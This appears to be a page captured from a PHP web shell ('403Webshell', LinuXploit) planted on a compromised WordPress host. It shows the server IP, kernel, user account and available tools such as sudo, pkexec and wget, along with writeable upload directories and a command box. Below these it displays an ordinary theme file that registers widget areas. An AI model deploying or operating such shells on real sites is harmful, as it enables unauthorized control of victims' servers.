403Webshell
Server IP : 173.236.223.38  /  Your IP : 216.73.216.33
Web Server : Apache
System : Linux vps62975 6.8.0-83-generic #83~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Sep 9 18:19:47 UTC 2 x86_64
User : invmicvps ( 6727287)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/invmicvps/invest.miccoli.es/wp-content/themes/fancify-pro/lib/render/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/invmicvps/invest.miccoli.es/wp-content/themes/fancify-pro/lib/render/widget-area.php
<?php
/**
 * Registers the fancify default widget areas.
 *
 * @package SplendorStudio\Framework\Render
 *
 * @since   1.0.0
 */

class Fancify_Pro_Widget_Area_Boot extends Fancify_Pro_Controller {

	function __construct() {
		$this->register_hook_callbacks();
	}

	/**
	 * Register callbacks for actions and filters
	 *
	 * @since    1.0.0
	 */
	protected function register_hook_callbacks() {
		Fancify_Pro_Actions::add_smart_action( 'widgets_init', array( $this, 'fancify_pro_do_register_widget_areas' ), 5 );

		/**
		 * Call register sidebar.
		 *
		 * Because the WordPress.org checker doesn't understand that we are using register_sidebar properly,
		 * we have to add this useless call which only has to be declared once.
		 *
		 * @since 1.0.0
		 * @ignore
		 * @access private
		 */
		add_action( 'widgets_init', 'fancify_pro_register_widget_area' );
	}

	/**
	 * Register fancify's default widget areas.
	 *
	 * @since 1.0.0
	 *
	 * @return void
	 */
	public function fancify_pro_do_register_widget_areas() {
		// Keep primary sidebar first for default widget asignment.
		fancify_pro_register_widget_area( 
			array(
				'name' => __( 'Sidebar Primary', 'fancify-pro' ),
				'id'   => 'sidebar_primary',
			) 
		);

		fancify_pro_register_widget_area( 
			array(
				'name' => __( 'Sidebar Secondary', 'fancify-pro' ),
				'id'   => 'sidebar_secondary',
			) 
		);

		fancify_pro_register_widget_area(
			array(
				'name' => __( 'Footer', 'fancify-pro' ),
				'id'   => 'footer_widgets_column',
			)
		);
	}

}

Fancify_Pro_Widget_Area_Boot::get_instance();

Youez - 2016 - github.com/yon3zu
LinuXploit